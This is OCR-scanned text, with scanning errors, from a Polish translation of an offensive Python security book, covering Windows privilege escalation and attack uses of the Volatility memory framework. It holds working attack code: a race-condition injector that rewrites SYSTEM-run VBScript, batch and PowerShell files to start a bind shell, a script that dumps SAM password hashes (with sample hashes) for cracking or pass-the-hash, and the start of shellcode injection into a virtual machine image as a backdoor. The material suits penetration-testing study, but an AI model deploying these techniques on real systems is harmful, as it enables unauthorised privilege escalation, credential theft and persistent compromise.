20130907233506.055054-300,JUSTIN-V2TRL6LD\Administrator,C: \WINDOWS\system32\
“>notepad.exe,"C: \WINDOWS\system32\notepad.exe" ,660,508,SeChangeNotifyPrivilege|
>SelImpersonatePrivilege|SeCreateGlobalPrivilege|

20130907233515.914176-300,JUSTIN-V2TRL6LD\Administrator,C: \WINDOWS\system32\
>calc.exe,"C: \WINDOWS\system32\calc.exe" ,1004,508,SeChangeNotifyPrivilege|
>SelmpersonatePrivilege|SeCreateGlobalPrivilege|

Jak widaé¢, program rejestruje dostepne uprawnienia proceséw. W razie po-
trzeby tatwo mozna sprawié, aby rejestrowat tylko te procesy, ktére dzialaja jako
uzytkownik bez uprawnien, ale z wlgczonymi interesujgcymi nas uprawnieniami.
Teraz pokaze Ci, jak wykorzysta¢ te technike monitorowania proceséw do wyszu-
kiwania proceséw w niebezpieczny sposéb wykorzystujacych pliki zewnetrzne.

Pierwsi na mecie
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Skrypty wsadowe, VBScript oraz PowerShell ulatwiajg prace administratorom,
poniewaz stuza do automatycznego wykonywania zmudnych zadan. Ich zasto-
sowania mogg by¢ rézne, od rejestrowania sie w centralnych repozytoriach po
przeprowadzanie aktualizacji oprogramowania z wlasnych repozytoriéw. Po-
wszechnym problemem jest brak list ACL dla plikéw tych skryptéw. Kilka razy
zdarzyto mi sie, ze nawet na ogélnie dobrze zabezpieczonych serwerach znala-
zlem skrypty wsadowe i PowerShell uruchamiane raz dziennie przez uzytkow-
nika SYSTEM, mimo ze prawo do ich zapisu mieli wszyscy uzytkownicy.

Jesli Tw6j monitor proceséw bedzie dzialal wystarczajaco dtugo w kompute-
rze firmowym (albo zainstalujesz przykladows usluge opisang na poczatku tego
rozdziatu), to mozesz zdoby¢ informacje o procesach podobne do ponizszych:

20130907233515.914176-300,NT AUTHORITY\SYSTEM,C:\WINDOWS\system32\cscript.exe,
—>C:\WINDOWS\system32\cscript.exe /nologo "C:\WINDOWS\Temp\azndldsddfggg.vbs",
1004,4,SeChangeNotifyPrivilege|SeImpersonatePrivilege|SeCreateGlobalPrivilege|

Z danych tych wynika, ze proces systemowy uruchomit plik binarny cscript.exe
i przekazal do niego parametr C:\WINDOWS\Temp\aznd1dsddfggg.vbs. Przykla-
dowa ustuga powinna generowaé te zdarzenia co minute. Jesli wysSwietlisz liste
plikéw w katalogu, to nie znajdziesz na niej tego pliku. Jest tak dlatego, ze ustu-
ga tworzy plik o losowej nazwie, wstawia do niego kod VBScript i wykonuje ten
skrypt. Widzialem takie cos§ w wielu komercyjnych programach. Znam tez pro-
gramy kopiujace pliki do tymczasowych lokalizacji, wykonujace je, a nastepnie
je usuwajace.

W takiej sytuacji musimy wygraé wyscig z wykonywanym kodem. Gdy pro-
gram lub zaplanowane zadanie utworzy plik, musimy wstrzyknaé¢ do niego wlasny
kod, zanim proces wykona i usunie ten plik. Do tego celu mozemy wykorzystaé¢
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funkcje z API systemu Windows o nazwie ReadDirectoryChangesW stuzaca do
monitorowania wybranego katalogu pod katem zmian w plikach lub podkatalo-
gach. Ponadto mozemy tez filtrowaé zdarzenia, aby dowiedzie¢ sie, kiedy plik
zostal ,,zapisany”, i szybko wstrzyknaé¢ do niego wlasny kod przed jego wykona-
niem. Bardzo dobrym pomyslem jest monitorowanie zdarzen we wszystkich
tymczasowych katalogach przez 24 godziny lub dluzej, poniewaz w ten sposéb
czasami udaje sie wykryé bledy lub przydatne informacje pozwalajace zwiekszy¢
poziom wlasnych uprawnien.

Teraz utworzymy monitor plikéw, a nastepnie wykorzystamy go do automa-
tycznego wstrzykiwania kodu. Utworz plik o nazwie file_monitor.py i wpisz do
niego ponizszy kod:

# zmodyfikowany przyktad pochodzqcy ze strony

# http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.html
import tempfile

import threading

import win32file

import win32con

import os

# typowe katalogi z plikami tymczasowymi
dirs_to monitor = ["C:\\WINDOWS\\Temp",tempfile.gettempdir()]

# stale dotyczqce modl/ﬁkaqz plikow
FILE_CREATED =

FILE_DELETED = 2
FILE MODIFIED =3
FILE_RENAMED FROM = 4
FILE RENAMED TO =5

def start_monitor(path_to watch):

# Tworzymy wqtek dla kazdej instancji monitora
FILE LIST DIRECTORY = 0x0001

h_directory = win32file.CreateFile(
path_to_watch,
FILE LIST DIRECTORY,
win32con. FILE_SHARE_READ | win32con.FILE SHARE_WRITE
>win32con.FILE_SHARE DELETE,
None,
win32con.OPEN_EXISTING,
win32con.FILE_FLAG BACKUP_SEMANTICS,
None)

while 1:
try:
results = win32file.ReadDirectoryChangesW(
h_directory,
1024,
True,
win32con.FILE_NOTIFY_CHANGE_FILE_NAME
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win32con.FILE_NOTIFY_CHANGE DIR NAME |
win32con.FILE_NOTIFY_CHANGE ATTRIBUTES |
win32con.FILE_NOTIFY_CHANGE_SIZE
win32con.FILE_NOTIFY_CHANGE_LAST_WRITE
win32con.FILE _NOTIFY CHANGE SECURITY,
None,

None

)

o for action,file name in results:
full_filename = os.path.join(path_to_watch, file_name)

if action == FILE_CREATED:

print "[ + ] Utworzono %s" % full_filename
elif action == FILE DELETED:

print "[ - ] Usunieto %s" % full_filename
elif action == FILE_MODIFIED:

print "[ * ] Zmodyfikowano %s" % full_filename

# zrzut zawartosci pliku
print "[vvv] Zrzucanie zawartoSci..."

(5] try:
fd = open(full_filename,"rb")
contents = fd.read()
fd.close()
print contents
print "[*] Zrzucanie zakofczone."
except:
print "[!!!] Nie udato sie."

elif action == FILE_RENAMED_FROM:
print "[ > ] Zmieniono nazwe: %s
elif action == FILE_RENAMED TO:
print "[ < ] Zmieniono nazwe na: %s
else:
print "[???] Nieznany: %s" % full_filename

% full_filename

% full_filename

except:
pass

for path in dirs_to_monitor:
monitor_thread = threading.Thread(target=start_monitor,args=(path,))
print "Tworzenie watku monitorujacego dla Sciezki: %s" % path
monitor_thread.start()

Definiujemy liste katalogéw, ktére chcemy monitorowaé¢ @. W tym przy-
padku na liscie znajdujg sie dwa typowe katalogi na pliki tymczasowe, ale
pamietaj, ze czasami warto tez obserwowaé inne miejsca. Dla kazdej z tych
$ciezek tworzymy watek monitorujacy wywolujacy funkecje start monitor.
Pierwszym zadaniem tej funkcji jest utworzenie uchwytu do katalogu do moni-
torowania @. Nastepnie wywolujemy funkcje ReadDirectoryChangesW ©, ktéra
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powiadomi nas o zmianach. Odbieramy nazwe zmienionego pliku docelowego
i typ zdarzenia @. Nastepnie drukujemy przydatne informacje o tym, co stalo
sie z tym plikiem, i jesli zostal zmodyfikowany, zrzucamy jego zawarto$é do
zbadania ©.

Czy to w ogdle dziata

Uruchom konsole emd.exe i uruchom w niej skrypt file_monitor.py:
C:\> python.exe file_monitor.py
Uruchom drugg konsole cmd.exe i wykonaj w niej nastepujgce polecenia:

C:\> cd %temp%

C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp> echo hej > filetest
C:\DOCUME~1\ADMINI~I\LOCALS~1\Temp> rename filetest file2test
C:\DOCUME~1\ADMINI~I\LOCALS~1\Temp> del file2test

W efekcie powinny pojawié¢ sie nastepujace wyniki:

Tworzenie watku monitorujacego dla §ciezki: C:\WINDOWS\Temp
Tworzenie watku monitorujacego dla Sciezki:
c:\docume~1\admini~1\1ocals~1\temp

[ + ] Utworzono c:\docume~1\admini~1\Tocals~1\temp\filetest

[ * 1 Zmodyfikowano c:\docume~1\admini~1\Tocals~1\temp\filetest
[vvv] Zrzucanie zawartosci...

hej

[*~] Zrzucanie zakohczone.

[ > 1 Zmieniono nazwe: c:\docume~1\admini~1\Tocals~1\temp\filetest

[ <1 Zmieniono nazwe na: c:\docume~1\admini~1\locals~1\temp\file2test
[ * 1 Zmodyfikowano c:\docume~1\admini~I\Tocals~1\temp\file2test

[vvv] Zrzucanie zawartosci...

hej

[~*~] Zrzucanie zakoficzone.
[ - ] Usunieto c:\docume~1\admini~1\Tocals~1\temp\FILE2T~1

Jesli wszystko poszlo zgodnie z planem, pozostaw monitor na 24 godziny
w docelowym systemie. Mozesz byé zaskoczony widokiem tworzonych, wyko-
nywanych i usuwanych plikéw. Przy uzyciu swojego skryptu do monitorowania
proceséw mozesz tez sprobowaé znalezé ciekawe Sciezki do plikéw do monito-
rowania. Szczegdlnie interesujagce mogg by¢ aktualizacje oprogramowania. Teraz
zastanowimy sie, jak automatycznie wstrzyknaé kod do pliku docelowego.
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Wstrzykiwanie kodu

Umiemy juz monitorowa¢ procesy i lokalizacje plikéw, wiec mozemy poszukaé
sposobéw na automatyczne wstrzykiwanie kodu do plikéw docelowych. Najcze-
$ciej uzywane skrypty to pliki VBScript, wsadowe oraz PowerShell. Utworzymy
bardzo proste fragmenty kodu, ktére beda uruchamialy skompilowang wersje
naszego narzedzia bhpnet.py z uprawnieniami przechwyconej ustugi. Przy uzy-
ciu wymienionych jezykéw skryptowych mozna wyrzadzi¢ wiele szk6d’. Ponizej
przedstawiam og6lny szkielet, ktéry p6zniej mozesz dostosowaé do wlasnych
potrzeb. Otwoérz skrypt file_monitor.py i pod staltymi dotyczacymi modyfikacji
plikéw dodaj ponizszy kod:

file_types = {}

command = "C:\\WINDOWS\\TEMP\\bhpnet.exe -1 -p 9999 -c"

file_types['.vbhs'] =

["\r\n'bhpmarker\r\n","\r\nCreateObject (\"Wscript.Shel1\") .Run(\"%s\")\r\n" %

> command]

file types['.bat'] = ["\r\nREM bhpmarker\r\n","\r\n%s\r\n" % command]

file_types['.psl'] ["\r\n#bhpmarker","Start-Process \"%s\"\r\n" % command]
# funkcja dokonujgca wstrzykniecia kodu
def inject_code(full_filename,extension,contents):

# Czy nasz znacznik znajduje sig juz w pliku?
if file_types[extension] [0] in contents:
return

# Nie ma znacznika, wigc wstrzykujemy go razem z kodem
full_contents = file_types[extension][0]
full_contents += file types[extension][1]
full_contents += contents

fd = open(full_filename,"wb")
fd.write(full_contents)
fd.close()

print "[\o/] Wstrzyknieto kod."

return

Carlos

Perez potrafi zrobi¢ wiele ciekawych rzeczy przy uzyciu PowerShella —

hitp:/fwww.darkoperator.com/.
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Najpierw zdefiniowalismy stownik fragmentéw kodu dopasowanych do pli-
kéw o réznych rozszerzeniach @ zawierajacy niepowtarzajacy sie znacznik i kod
do wstrzykniecia. Znacznik chroni skrypt przed powstaniem nieskoriczonej petli.
Bez niego program wykrywatby modyfikacje w pliku, wstrzykiwatby do niego kod,
co oznaczaloby kolejng modyfikacje pliku itd. Proces ten trwalby, az gigantyczny
plik przestatby miescié sie na twardym dysku. Nastepny fragment kodu to funkcja
inject_code wstrzykujaca kod i sprawdzajaca istnienie znacznika. Jesli znaczni-
ka nie ma @, zapisujemy go wraz z kodem, ktéry chcemy uruchomié, w atako-
wanym procesie ©. Teraz musimy jeszcze zmodyfikowaé petle gtéwng, ktéra
powinna sprawdzaé rozszerzenie pliku i wywolywaé funkcje inject_code.

--wczeSniejszy kod--
elif action == FILE_MODIFIED:
print "[ * ] Zmodyfikowano %s" % full_filename

# zrzut zawartosci pliku
print "[vvv] Zrzucanie zawartoSci..."

try:

fd = open(full_filename,"rb")

contents = fd.read()

fd.close()

print contents

print "[*] Zrzucanie zakoficzone."
except:

print "[!!!] Nie udato sie."

#### POCZATEK NOWEGO KODU
filename,extension = os.path.splitext(full_filename)

if extension in file_types:
inject_code(full_filename,extension,contents)
#### KONIEC NOWEGO KODU
--dalszy kod--

Jest to bardzo prosty dodatek do petli. Oddzielamy rozszerzenie pliku od
jego nazwy @, a nastepnie poréwnujemy je z rozszerzeniami ze stownika @.
Jesli wykryjemy dane rozszerzenie w stowniku, wywolujemy funkcje inject code.
Czas wyprébowac ten program w praktyce.

Czy to w ogdle dziata

Jesli zainstalowate$ ,,dziurawa” ustuge opisana na poczatku rozdziatu, to teraz
fatwo mozesz przetestowaé swoj wiryskiwacz kodu. Uruchom te ustuge, a na-
stepnie wlacz skrypt file_monitor.py. W pewnym momencie powiniene$ zoba-
czy¢ informacje, ze zostal utworzony plik .vbs, ktéry nastepnie zostal zmodyfi-
kowany, po czym wstrzyknieto do niego kod. Jesli wszystko péjdzie dobrze,

Zwiegkszanie uprawnien w systemie Windows 167



powiniene$§ méc uruchomié skrypt bhpnet.py z rozdziatu 2., aby polaczy¢ sie
z wlagnie utworzonym nastuchiwaczem. Aby dowiedzie¢ sie, czy udato sie
zwiekszy¢ poziom uprawnier, polgcz sie z nastuchiwaczem i sprawdz, jako ktéry
uzytkownik dziata Twoj skrypt.

justin$ ./bhpnet.py -t 192.168.1.10 -p 9999
<CTRL-D>

<BHP: #> whoami

NT AUTHORITY\SYSTEM

<BHP: #>

Dowiesz sie, ze jestes posiadaczem konta systemowego oraz ze wstrzykniety
kod dziala.

Czytajac ten rozdzial, mozna odnie$¢ wrazenie, ze opisane w nim ataki sa
nieco wydumane. Ale im wigcej czasu spedzisz w duzej korporacji, tym bardziej
bedziesz sktonny wierzy¢, ze to moze sie uda¢. Narzedzia opisane w tym roz-
dziale mozna tatwo rozszerzy¢ lub zamieni¢ w specjalne skrypty dostosowane
do wykorzystania w jednym konkretnym przypadku. Sam interfejs WMI jest
doskonatym zZrédtem danych o lokalnym systemie. Zdobyte przy jego uzyciu
informacje mozna wykorzysta¢ do przeprowadzania kolejnych atakéw po tym,
jak uda sie wejsé do sieci. Funkcja zwiekszania uprawnien to niezbedny sktadnik
kazdego dobrego trojana.
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Automatyzacja
wykrywania atakow

SLEDCZY CZESTO SA WZYWANI, GDY DOJDZIE DO ZLAMANIA ZABEZPIECZEN,
ALBO W CELU SPRAWDZENIA, CZY PEWNE LZDARZENIE~ W OGOLE MIALO MIE]JSCE.
NAJCZESCIE] ZADAJA ZRZUTU ZAWARTOSCI PAMIECI RAM KOMPUTERA, ABY POBRAC
ZNIEGO klucze kryptograficzne i inne informacje, ktére sy przechowywane tylko
w tej pamieci. Specjalisci Ci sg szcze$ciarzami, poniewaz pewien zespol uta-
lentowanych programistéw utworzyl caly Pythonowy system szkieletowy o na-
zwie Volatility stuzacy wlasnie do wykonywania tego typu czynnosci i opisywany
jako zaawansowany system do badania zawarto$ci pamieci na potrzeby §ledztw.
Specjalisci od odpierania atakéw, Sledezy informatyczni i analitycy zlo§liwego
oprogramowania wykorzystuja Volatility do wielu r6znych celéw, np. badania
obiektéw jadra, badania i zrzucania proceséw itd. Nas jednak oczywiscie interesuja
ofensywne funkcje tego narzedzia.

Najpierw pokaze Ci, jak przy uzyciu funkeji wiersza poleceni wydobyé skréty
hasel z maszyny wirtualnej VMWare, a nastepnie dowiesz sie, jak zautomaty-
zowa¢ ten dwuetapowy proces za pomoca Volatility. W ostatnim przyktadzie po-
kazuje, jak wstrzykiwaé kod powloki bezposrednio do dziatajacej maszyny wir-
tualnej w doktadnie wybranym miejscu. Technika ta pozwala przygwozdzi¢ takze
paranoikéw przegladajacych i wysylajacych poczte tylko w maszynie wirtualne;j.



W zrzucie maszyny wirtualnej mozna tez pozostawié tylne wejscie, ktére zostanie
uruchomione po wlaczeniu maszyny przez administratora. Metoda wstrzykiwania
kodu jest tez skuteczna w przypadku komputeréw z portem FireWire, ktory jest
dostepny, ale zablokowany lub u$piony i wymaga podania hasta. Zaczynamy!

Instalacja

Profile

170

Program Volatility jest bardzo tatwy w instalacji — wystarczy go pobraé ze strony
https://code.google.com/p/volatility/downloads/list. Ja zazwyczaj nie wykonuje
pelnej instalacji, tylko przechowuje aplikacje w lokalnym katalogu, ktéry dodaje
do swojej $ciezki roboczej (pisze o tym jeszcze dalej). Dostepny jest tez insta-
lator dla systemu Windows. Wybierz najbardziej odpowiadajaca Ci metode in-
stalacji — kazda jest tak samo dobra.

W programie Volatility sposoby zastosowania sygnatur i miejsca pobierania da-
nych ze zrzutéw pamieci okresla sie za pomocy profili. Ale jezeli istnieje moz-
liwo$¢ pobrania obrazu pamieci z komputera docelowego przez port FireWire
lub zdalnie, to mozna nie zna¢ wersji atakowanego systemu operacyjnego. Na
szcze$cie istnieje wtyczka do Volatility o nazwie imageinfo ustalajaca, ktérego
profilu powinno sie uzy¢. Wtyczke te mozna uruchomié w nastepujacy sposéb:

$ python vol.py imageinfo -f "memorydump.img"

Po uruchomieniu wtyczka ta powinna zwr6cié sporo informacji. Najwazniejsze
znajdujg sie w linijce Suggested Profiles i powinny wygladaé¢ mniej wiecej tak:

Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86

Przy wykonywaniu opisanych dalej éwiczen zawsze ustawiaj znacznik wiersza
poleceni --profile na pierwszg z otrzymanych w ten sposéb wartosci. W odnie-
sieniu do powyzszego przypadku napisaliby$my takie polecenie:

$ python vol.py wtyczka --profile="WinXPSP2x86" argumenty

Jesli ustawisz nieodpowiedni profil, to szybko sie o tym dowiesz, poniewaz
wtyczki nie beda dziataly prawidtowo albo Volatility zacznie zglaszaé btedy
oznaczajace brak mozliwosci znalezienia odpowiednich mapowan adreséw.
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Wydobywanie skrotéw haset

Jednym z podstawowych celéw hakeréw atakujacych komputer z systemem
Windows jest wydobycie skrotéw hasel. Skréty te mozna nastepnie rozszyfrowac,
aby dowiedzie¢ sie, jakiego kto$ uzywa hasta, albo wykorzystaé w ataku polega-
jacym na przekazaniu skrétu w celu dostania sie do zasobow sieciowych. Naj-
lepszymi miejscami do szukania skr6téw haset sa maszyny wirtualne i obrazy
systemow.

Niezaleznie od tego, czy celem jest paranoik wykonujacy wszystkie ryzykowne
czynno$ci w maszynie wirtualnej, czy firma chegca przeniesé czesé dziatan uzyt-
kownikéw do maszyn wirtualnych, maszyny te sg doskonalym zrédlem informacji
dla hakera, ktéry dostat sie do hosta.

Program Volatility bardzo ulatwia proces zdobywania hasel w ten sposéb.
Najpierw pokaze Ci, jak przy uzyciu odpowiednich wtyczek znalezé miejsca
przechowywania skr6téw haset w pamieci, a nastepnie — jak pobraé te skroty.
Nastepnie napiszemy skrypt wykonujacy te dwie czynnosci naraz.

Hasta lokalne w systemie Windows sg przechowywane w postaci skrotéw
w galezi rejestru o nazwie SAM. Ponadto w galezi system przechowywany jest
klucz rozruchowy systemu Windows. Do wydobycia skr6téw z obrazu pamieci
potrzebne sg obie te galezie rejestru. Najpierw uruchomimy wtyczke hivelist,
aby znalez¢ miejsca przechowywania tych dwoch galezi w pamieci. Nastepnie
zdobyte informacje przekazemy do wtyczki hashdump w celu wydobycia skrétow.
Przejdz do okna terminala i wykonaj ponizsze polecenie:

$ python vol.py hivelist --profile=WinXPSP2x86 -f "WindowsXPSP2.vmem"

Po paru minutach powiniene$ otrzymaé wyniki z informacjg o miejscu prze-
chowywania w pamieci interesujacych Cie galezi rejestru. Ponizej dla uprosz-
czenia przedstawiam tylko cze$é otrzymanych danych.

Virtual Physical Name

0xel1666b60 0x0ff01b60
\Device\HarddiskVolumel\WINDOWS\system32\config\software

0xel673b60 0x0fedbb60 \Device\HarddiskVolumel\WINDOWS\system32\config\SAM
0xe1455758 0x070f7758 [no name]

0xel1035b60 0x06cd3b60 \Device\HarddiskVolumel\WINDOWS\system32\config\system

Pogrubieniem oznaczono miejsca przechowywania kluczy galezi SAM i system
w pamieci wirtualnej i fizycznej. Pamietaj, ze miejsce w pamieci wirtualnej jest
okreslone w odniesieniu do systemu operacyjnego. Miejsce w pamieci fizycznej
to lokalizacja w pliku .vmem zapisanym na dysku. Majac galezie SAM i system,
mozemy przekazaé informacje o miejscu ich przechowywania w pamieci wirtu-
alnej do wtyczki hashdump. Przejdz z powrotem do okna terminala i wpisz ponizsze
polecenie, pamietajac, ze w Twoim przypadku adresy beda inne.
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$ python vol.py hashdump -d -d -f "WindowsXPSP2.vmem"
>--profile=WinXPSP2x86 -y 0xel035b60 -s Oxel7adb60

Wynik wykonania tego polecenia powinien by¢ podobny do przedstawionego
ponizej:

Administrator:500:74f77d7aaaddd538d5b79ae2610dd89d4c:537d8e4d99dfb5f5e92elfa3
>77041b27:::
Guest:501:aad3b435b51404ad3b435b51404ee:31d6cfe0d16ae931b73¢c59d7e0c089c0: : :
HelpAssistant:1000:bf57b0cf30812c924kdkkd68c99f0778f7:457fbd0cedf6030978d124]
>272fab53:::
SUPPORT_38894df:1002:aad3b435221404eeaad3b435b51404ee:929d92d3fc02dcd099fdaec
>fdfa8laee:::

Doskonale! Teraz mozemy wystaé skréty do narzedzia tamiacego szyfry albo
przeprowadzié¢ atak polegajacy na uzyciu skrétéw w celu uwierzytelnienia sie
w okreslonych ustugach.

Teraz napiszemy skrypt, ktéry bedzie wykonywat caly ten proces w jednym
kroku. Utwoérz plik grabhashes.py i wpisz do niego ponizszy kod:

import sys

import struct

import volatility.conf as conf

import volatility.registry as registry

memory_file = "WindowsXPSP2.vmem"
sys.path.append("/Users/justin/Downloads/volatility-2.3.1")

[

registry.PluginImporter()
config = conf.ConfObject()

import volatility.commands as commands
import volatility.addrspace as addrspace

config.parse_options()
config.PROFILE = "WinXPSP2x86"
config.LOCATION = "file://%s" % memory file

registry.register_global_options(config, commands.Command)
registry.register_global options(config, addrspace.BaseAddressSpace)

Najpierw zapisujemy w zmiennej $ciezke do obrazu pamieci @, ktéry chcemy
przeanalizowaé. Nastepnie dolagczamy katalog zawierajacy program Volatility @,
aby skrypt mo6gl zaimportowaé biblioteki Volatility. Reszta przedstawionego ko-
du dotyczy konfiguracji instancji narzedzia Volatility — ustawienia jego profilu
oraz r6znych opcji.
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Teraz dodamy mechanizm dokonujacy zrzutu skrétéw. Dodaj ponizszy kod
do pliku grabhashes.py.

from volatility.plugins.registry.registryapi import RegistryApi
from volatility.plugins.registry.Isadump import HashDump

registry = RegistryApi(config)
registry.populate offsets()

sam_offset = None
sys_offset = None

for offset in registry.all_offsets:

if registry.all_offsets[offset].endswith("\\SAM"):
sam_offset = offset
print "[*] SAM: 0x%08x" % offset

if registry.all_offsets[offset].endswith("\\system"):
sys_offset = offset
print "[*] System: 0x%08x" % offset

if sam_offset is not None and sys_offset is not None:
config.sys offset = sys offset
config.sam_offset = sam offset

hashdump = HashDump (config)

for hash in hashdump.calculate():
print hash

break

if sam_offset is None or sys offset is None:
print "[*] Nie udato sie znalez¢ miejsc przechowywania
“>gatezi system lub SAM."

Najpierw tworzymy egzemplarz pomocniczej klasy RegistryApi @ zawiera-
jacej czesto uzywane funkcje do pracy z rejestrem. Jako argument przekazujemy
tylko biezacg konfiguracje. Funkcja populate offsets @ jest odpowiednikiem
wezes$niejszego polecenia hivelist. Nastepnie rozpoczynamy przeglagdanie
wszystkich znalezionych galezi w poszukiwaniu galezi SAM @ i system @. Gdy
je znajdziemy, dodajemy informacje o miejscu ich przechowywania do biezace-
go obiektu konfiguracji ©. P6zniej tworzymy obiekt HashDump @ i przekazujemy
mu biezacy obiekt konfiguracji. Ostatnig czynno$cig @ jest iteracja przez wyniki
funkcji calculate, ktéra zwraca nazwy uzytkownika i ich skréty haset.
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Teraz uruchom ten skrypt jako samodzielny plik Python:
$ python grabhashes.py

Wynik powinien by¢ taki sam jak poprzednim razem. Jednak zanim polaczysz
funkcje w taki sposéb (albo pozyczysz istniejaca funkcje), dobrze jest przejrzeé
kod Zrédlowy programu Volatility, aby doktadnie sprawdzié, jak one dzialaja.
Volatililty to nie biblioteka Pythona jak Scapy, ale przegladajac jego kod, do-
wiesz sie, jak poprawnie uzywaé zdefiniowanych w nim klas i funkcji.

Teraz wykonamy prostg inzynierie wsteczng oraz wstrzykniemy infekujacy
kod do maszyny wirtualne;.

Bezposrednie wstrzykiwanie kodu

Technologie wirtualizacji zyskuja coraz wiekszg popularnosé czesciowo dzieki
paranoikom, czesciowo z powodu wieloplatformowych wymagan programéw
biurowych, a czesciowo takze dzieki temu, ze na wydajnych maszynach mozna
zainstalowaé wiecej r6znych ustug. W kazdym z wymienionych przypadkéw, jesli
uda Ci sie wlama¢ do systemu hosta i znajdziesz w nim maszyne wirtualng, warto
spenetrowaé takze ten dodatkowy sktadnik. A jesli dodatkowo znajdziesz zapisane
obrazy maszyn wirtualnych, to moga one by¢ doskonalym miejscem na ukrycie
kodu powloki. Gdy uzytkownik uruchomi taki zainfekowany obraz, kod ten zo-
stanie wykonany i otrzymasz dostep do powloki.

Aby wstrzyknaé kod do systemu goscia, trzeba znalezé odpowiednie do tego
miejsce. Jesli masz czas, to najlepiej jest znalez¢ gléwng petle ustugowa w pro-
cesie systemowym, poniewaz na pewno ma ona wysokie uprawnienia i gwa-
rantuje wykonanie naszego kodu. Wadg tego rozwigzania jest to, ze jesli wybie-
rze sie niewlasciwe miejsce lub nasz kod zostanie zapisany niepoprawnie, moze
dojs¢ do uszkodzenia procesu, przez co zostaniemy wykryci przez uzytkownika
lub dojdzie do awarii maszyny wirtualne;j.

Na poczatek dokonamy inzynierii wstecznej kalkulatora systemu Windows.
W tym celu wezytamy plik calc.exe do programu Immunity Debugger' i napisze-
my prosty skrypt znajdujacy funkcje obstugujaca przycisk =. Chodzi o to, aby
szybko zbada¢ budowe programu, przetestowaé swoja metode wstrzykiwania
kodu i tatwo odtworzyé¢ wyniki. Potem mozna sprébowaé¢ znalezé trudniejsze
cele do wstrzykiwania bardziej zaawansowanego kodu. Kolejnym krokiem moze
by¢ oczywiscie znalezienie komputera z obstugg FireWire i przeprowadzenie
testéw na nim!

Zaczniemy od utworzenia prostego polecenia PyCommand dla Immunity De-
bugger. Utworz nowy plik w maszynie wirtualnej z systemem Windows XP i na-
zwij go codecoverage.py. Plik ten zapisz w gléwnym katalogu instalacyjnym
aplikacji Immunity Debugger w folderze PyCommands.

' Program Immunity Debugger mozna pobraé na stronie http://debugger.immunityinc.com/.
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from immlib import *
class cc_hook(LogBpHook):
def _init_ (self):

LogBpHook. _init_ (self)
self.imm = Debugger()

def run(self,regs):

self.imm.log("%08x" % regs['EIP'],regs['EIP'])
self.imm.deleteBreakpoint(regs['EIP'])

return
def main(args):
imm = Debugger()

calc = imm.getModule("calc.exe")
imm.analyseCode(calc.getCodebase())

functions = imm.getAl1Functions(calc.getCodebase())
hooker = cc_hook()

for function in functions:
hooker.add("%08x" % function, function)

return "Sledzenie %d funkcji." % len(functions)

Jest to prosty skrypt znajdujacy wszystkie funkcje w pliku calc.exe i dla kaz-
dej z nich ustawiajacy jednorazowy punkt wstrzymania. Dzieki temu dla kazdej
wykonanej funkcji Immunity Debugger wyswietli jej adres i usunie ustawiony
na niej punkt wstrzymania, aby$Smy nie rejestrowali ciagle adreséw tej samej
funkcji. Zataduj plik calc.exe do programu Immunity Debugger, ale jeszcze go
nie uruchamiaj. Nastepnie w znajdujacym sie na dole ekranu pasku polecen
wpisz ponizsze polecenie:

Icodecoverage

Teraz mozesz uruchomié¢ proces nacisnieciem klawisza F9. Jesli wlaczysz
widok dziennika (Alt+L), to bedziesz mégl oglada¢ znajdowane funkcje. Kliknij
kilka przyciskéw z wyjatkiem przycisku =. Chodzi o to, by wykonaé¢ wszystkie
funkcje oprécz tej jednej, ktorej szukamy. Gdy juz sie naklikasz, kliknij prawym
przyciskiem myszy w oknie widoku dziennika i wybierz pozycje Clear Window
(wyczysé okno). Spowoduje to usuniecie wszystkich wezesniej trafionych funkcii.
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Mozna to sprawdzié, klikajac jeden z wezesniej kliknietych przyciskéw — nic
nie powinno sie wydarzy¢. Teraz kliknij przycisk =. Na ekranie powinna poja-
wi¢ sie jedna pozycja (moze by¢ konieczne wpisanie jakiego$ wyrazenia, np. 3+3,
i dopiero potem nacisniecie tego przycisku). W systemie Windows XP z dodatkiem
SP2 zainstalowanym w mojej maszynie wirtualnej otrzymatem adres 0x01005D51.

W porzadku! Wiesz juz z grubsza, jak postugiwaé sie programem Immunity
Debugger i znajdowa¢ funkcje w programach, oraz masz adres, pod ktérym na-
lezy wstrzyknaé kod. Mozemy zatem przejsé do pisania kodu Volatility.

Proces jest wieloetapowy. Najpierw musimy poszukaé¢ w pamieci procesu
calc.exe, a nastepnie w jego przestrzeni pamieciowej znalezé miejsce do wstrzyk-
niecia kodu powloki oraz fizyczne miejsce w obrazie pamieci RAM zawierajace
weze$niej znaleziong funkcje. P6zniej nalezy wstawi¢ przeskok nad adresem
funkcji obstugujacej przycisk = prowadzacy do naszego kodu powtoki. Kod, ktéry
tu przedstawiam, pochodzi z mojej prezentacji przedstawionej na fantastycznej
konferencji w Kanadzie o nazwie Countermeasure. Miejsca w pamieci sg wpi-
sane na sztywno, wiec musisz je dostosowaé do swoich warunkéw”.

Utworz plik o nazwie code_inject.py i wpisz do niego ponizszy kod:

import sys
import struct

equals_button = 0x01005D51

memory_file = "WinXPSP2.vmem"
slack_space = None
trampoline_offset = None

# Wezytuje nasz kod powloki

sc_fd = open("cmeasure.bin","rb")
sc = sc_fd.read()
sc_fd.close()

sys.path.append("/Downloads/volatility-2.3.1")

import volatility.conf as conf
import volatility.registry as registry

registry.PluginImporter()
config = conf.ConfObject()

import volatility.commands as commands
import volatility.addrspace as addrspace

2 Jesli cheesz nauczyé sie pisaé¢ wlasny kod powtoki wyswietlajacy okienka z wiadomosciami, przeczytaj
ten poradnik: hitps:/fwww.corelan.befindex.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-
to-win32-shellcoding].

176

Rozdziat |l


https://www.corelan.be/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/
https://www.corelan.be/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/

registry.register_global options(config, commands.Command)
registry.register_global options(config, addrspace.BaseAddressSpace)

config.parse_options()
config.PROFILE = "WinXPSP2x86"
config.LOCATION = "file://%s" % memory_file

Ten kod konfiguracyjny rézni sie od poprzedniego tylko tym, ze wezytuje
kod powloki @, ktéry wstrzykniemy do maszyny wirtualne;.
Teraz dopiszemy reszte kodu, odpowiedzialng za rzeczywiste wstrzykiwanie.

import volatility.plugins.taskmods as taskmods
p = taskmods.PSList(config)

for process in p.calculate():
if str(process.ImageFileName) == "calc.exe":

print "[*] Znaleziono calc.exe z PID %d" % process.UniqueProcessId
